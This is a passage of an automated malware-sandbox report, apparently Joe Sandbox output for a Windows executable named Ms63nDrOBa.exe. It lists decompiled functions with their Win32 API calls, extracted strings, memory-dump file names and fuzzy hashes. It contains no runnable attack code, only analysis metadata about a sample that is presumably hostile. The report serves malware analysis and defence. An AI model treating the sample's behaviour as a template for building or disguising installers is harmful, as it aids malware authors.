SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405051
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050EC
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040511C

Part of subcall function 004044E8: SendMessageW.USER32(00000028,?,00000001,00404313), ref: 004044F6

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405130
GetWindowLongW.USER32(?,000000F0), ref: 0040515E
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040516C
ShowWindow.USER32(?,00000005), ref: 0040517C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405277
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052DC
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052F1
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405315
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405335
ImageList_Destroy.COMCTL32(?), ref: 0040534A
GlobalFree.KERNEL32(?), ref: 0040535A
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053D3
SendMessageW.USER32(?,00001102,?,?), ref: 0040547C
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040548B
InvalidateRect.USER32(?,00000000,00000001), ref: 004054B6
ShowWindow.USER32(?,00000000), ref: 00405504
GetDlgItem.USER32(?,000003FE), ref: 0040550F
ShowWindow.USER32(00000000), ref: 00405516

Strings

M, xrefs: 004050D4
, xrefs: 004054EE
N, xrefs: 004051B5

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 63eace971b309785bb82105d1f3aa94bb5e313571b6fc2e62422463636cbee33
Instruction ID: 407b5383e9f0600e1b6d0dc6c9775fd3f0ad17fb7be6f4e7eeeed7564f32b1fa
Opcode Fuzzy Hash: 63eace971b309785bb82105d1f3aa94bb5e313571b6fc2e62422463636cbee33
Instruction Fuzzy Hash: F0028A70900608AFDF20DF65DD85AAF7BB5FB85314F10816AF610BA2E1D7798A41CF58

Function 00403FB4 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FF0
ShowWindow.USER32(?), ref: 00404010
GetWindowLongW.USER32(?,000000F0), ref: 00404022
ShowWindow.USER32(?,00000004), ref: 0040403B
DestroyWindow.USER32 ref: 0040404F
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404068
GetDlgItem.USER32(?,?), ref: 00404087
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 0040409B
IsWindowEnabled.USER32(00000000), ref: 004040A2
GetDlgItem.USER32(?,00000001), ref: 0040414D
GetDlgItem.USER32(?,00000002), ref: 00404157
SetClassLongW.USER32(?,000000F2,?), ref: 00404171
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041C2
GetDlgItem.USER32(?,00000003), ref: 00404268
ShowWindow.USER32(00000000,?), ref: 00404289
EnableWindow.USER32(?,?), ref: 0040429B
EnableWindow.USER32(?,?), ref: 004042B6
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042CC
EnableMenuItem.USER32(00000000), ref: 004042D3
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042EB
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042FE
lstrlenW.KERNEL32(007A1748,?,007A1748,00000000), ref: 00404328
SetWindowTextW.USER32(?,007A1748), ref: 0040433C
ShowWindow.USER32(?,0000000A), ref: 00404470

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: b08647c02fb37b41973a387d7810d7f5d0e6d787a748a85b5b12ca029d29054f
Instruction ID: c568fb1f9e303522a8696359bfc4ff9199fb68b2c3e72f23d40ed4e3cc12537a
Opcode Fuzzy Hash: b08647c02fb37b41973a387d7810d7f5d0e6d787a748a85b5b12ca029d29054f
Instruction Fuzzy Hash: D3C1C0B1500604ABDB206F61EE85E2A3A68FBD6759F00853EFA51B51F0CB3D5881DB2D

Function 00404672 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404710
GetDlgItem.USER32(?,000003E8), ref: 00404724
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404741
GetSysColor.USER32(?), ref: 00404752
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404760
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040476E
lstrlenW.KERNEL32(?), ref: 00404773
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404780
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404795
GetDlgItem.USER32(?,0000040A), ref: 004047EE
SendMessageW.USER32(00000000), ref: 004047F5
GetDlgItem.USER32(?,000003E8), ref: 00404820
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404863
LoadCursorW.USER32(00000000,00007F02), ref: 00404871
SetCursor.USER32(00000000), ref: 00404874
LoadCursorW.USER32(00000000,00007F00), ref: 0040488D
SetCursor.USER32(00000000), ref: 00404890
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048BF
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048D1

Strings

E@, xrefs: 0040487C
N, xrefs: 0040480E

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$E@
API String ID: 3103080414-3433303851
Opcode ID: 222016cd200aa2e6cb1c1b10df294e93f696a380f153465af12d712dc680f444
Instruction ID: bdd40037bb0d452aa3b0c6711a4aa3bdd99b9424e38a8cf4b21d92dd7aac4ea1
Opcode Fuzzy Hash: 222016cd200aa2e6cb1c1b10df294e93f696a380f153465af12d712dc680f444
Instruction Fuzzy Hash: CB61C2B5900609BFDB10AF61DD85A6A7B69FB84304F00843AF701B62D0C77C9D61DF99

Function 0040617A Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406315,?,?), ref: 004061B5
GetShortPathNameW.KERNEL32(?,007A4DE8,00000400), ref: 004061BE

Part of subcall function 00405F89: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040626E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F99
Part of subcall function 00405F89: lstrlenA.KERNEL32(00000000,?,00000000,0040626E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FCB

GetShortPathNameW.KERNEL32(?,007A55E8,00000400), ref: 004061DB
wsprintfA.USER32 ref: 004061F9
GetFileSize.KERNEL32(00000000,00000000,007A55E8,C0000000,00000004,007A55E8,?,?,?,?,?), ref: 00406234
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406243
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040627B
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,007A49E8,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062D1
GlobalFree.KERNEL32(00000000), ref: 004062E2
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062E9

Part of subcall function 00406024: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\Ms63nDrOBa.exe,80000000,00000003), ref: 00406028
Part of subcall function 00406024: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040604A

Strings

Mz, xrefs: 004061A3
%ls=%ls, xrefs: 004061EF
Uz, xrefs: 004061D0
[Rename], xrefs: 00406263, 00406275
Uz, xrefs: 004061D7

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$Mz$Uz$Uz
API String ID: 2171350718-3350566011
Opcode ID: a33c05bce7c125d61af8aa6c61577077044d65e406db0fd5498825754e73940b
Instruction ID: 1eba4fe57778a2caeea4241fd1a0165fec623ab6fc85672a9c0ceb4c44b2574e
Opcode Fuzzy Hash: a33c05bce7c125d61af8aa6c61577077044d65e406db0fd5498825754e73940b
Instruction Fuzzy Hash: CC312470600715BBD2207B619D49F6B3B5CDF82744F16017EFA02B62C2EA7DD820867D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0065e8d55c47ea3cbcda8c109104f1eee6ee8d4d6af800c5cfa02106002edbf4
Instruction ID: f4bc5d4286e22692ddece56c15c19c5fca937d6aefcb7484b61e28148d91a738
Opcode Fuzzy Hash: 0065e8d55c47ea3cbcda8c109104f1eee6ee8d4d6af800c5cfa02106002edbf4
Instruction Fuzzy Hash: 3F418A71804209AFCF058FA5CE459BFBBB9FF45314F00802EF591AA1A0CB389A55DFA4

Function 00406571 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(007A6200,00000400), ref: 00406693
GetWindowsDirectoryW.KERNEL32(007A6200,00000400,00000000,007A0728,?,?,00000000,00000000,0079B1EE,762323A0), ref: 004066A9
SHGetPathFromIDListW.SHELL32(00000000,007A6200), ref: 00406707
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406710
lstrcatW.KERNEL32(007A6200,\Microsoft\Internet Explorer\Quick Launch), ref: 0040673B
lstrlenW.KERNEL32(007A6200,00000000,007A0728,?,?,00000000,00000000,0079B1EE,762323A0), ref: 00406795

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406664
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406735

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: fb78c655de7e04e2c0873077e29524e20483bf8d3f5bca8374ab451ad378ea15
Instruction ID: 3bd779c8658dd38474262f04f34df11dc98fe6ff926310c24388666a45315c92
Opcode Fuzzy Hash: fb78c655de7e04e2c0873077e29524e20483bf8d3f5bca8374ab451ad378ea15
Instruction Fuzzy Hash: 4C6123716046019BD720AF24DD80B6A77E8AB95318F25063FF687B33D1DA3C8961875E

Function 0040451A Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404537
GetSysColor.USER32(00000000), ref: 00404575
SetTextColor.GDI32(?,00000000), ref: 00404581
SetBkMode.GDI32(?,?), ref: 0040458D
GetSysColor.USER32(?), ref: 004045A0
SetBkColor.GDI32(?,?), ref: 004045B0
DeleteObject.GDI32(?), ref: 004045CA
CreateBrushIndirect.GDI32(?), ref: 004045D4

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: fafa423c3d5d8bdb364a41ac4aaa45114b780d6afda8d36e4a103189301150f1
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 242153B1500704ABCB359F39DD08A5B7BF8BF41714F14892EEB96A22E0D738E944CB54

Function 004026F1 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040275D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402798
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027BB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027D1

Part of subcall function 00406105: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,?,?,?,004026D6,00000000,00000000,?,00000000,00000011), ref: 0040611B

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040287D

Strings

9, xrefs: 00402740

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 20294edbd6775d22b81a0ff36bbb0989563b2d3368df465689f6e0dcb3bf3618
Instruction ID: ad829204a8421b16aaf2dc4ab9086753538d66bd122375994c0f550e7c4a5b44
Opcode Fuzzy Hash: 20294edbd6775d22b81a0ff36bbb0989563b2d3368df465689f6e0dcb3bf3618
Instruction Fuzzy Hash: 8551FA75D0411AABDF24DF94CA84AAEBBB9FF04344F10817BE941B62D0D7B49D82CB58

Function 004055B9 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A0728,00000000,0079B1EE,762323A0,?,?,?,?,?,?,?,?,?,004033FA,00000000,?), ref: 004055F1
lstrlenW.KERNEL32(004033FA,007A0728,00000000,0079B1EE,762323A0,?,?,?,?,?,?,?,?,?,004033FA,00000000), ref: 00405601
lstrcatW.KERNEL32(007A0728,004033FA), ref: 00405614
SetWindowTextW.USER32(007A0728,007A0728), ref: 00405626
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040564C
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405666
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405674

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: da048427165e3fda7d212e1d25adb62017d163fe0601bf1cc7e6f9066e197b12
Instruction ID: 2aa9806f2f20795f51ccdab708f13b580d3c68b3f08286e5c277b3a8c7657607
Opcode Fuzzy Hash: da048427165e3fda7d212e1d25adb62017d163fe0601bf1cc7e6f9066e197b12
Instruction Fuzzy Hash: 9F21A175900518BACF119F65DD44ADFBFB9EF85354F10843AF904B22A0C7794A40CFA8

Function 004067E2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,007B3000,76233420,C:\Users\user\AppData\Local\Temp\,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00406845
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406854
CharNextW.USER32(?,007B3000,76233420,C:\Users\user\AppData\Local\Temp\,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 00406859
CharPrevW.USER32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,00000000,004034EA,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037F9,?,00000008,0000000A,0000000C), ref: 0040686C

Strings

*?|<>/":, xrefs: 00406834
C:\Users\user\AppData\Local\Temp\, xrefs: 004067E3

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ms63nDrOBa.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-826357637
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: 1b09f5ceaf5ae9834212bd1c7625b2fa446eb07de75e5307cf61d1a9d5c412e4
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: F411C46780221295DB303B54CC44AB7A2A8EF94790F52C43FED8A732C0E77C5C9286BD

Function 00404E6E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E89
GetMessagePos.USER32 ref: 00404E91
ScreenToClient.USER32(?,?), ref: 00404EAB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EBD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EE3

Strings

f, xrefs: 00404EBF

Memory Dump Source

Source File: 00000000.00000002.2284404111.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2284373469.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284436005.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284467700.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2284896999.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

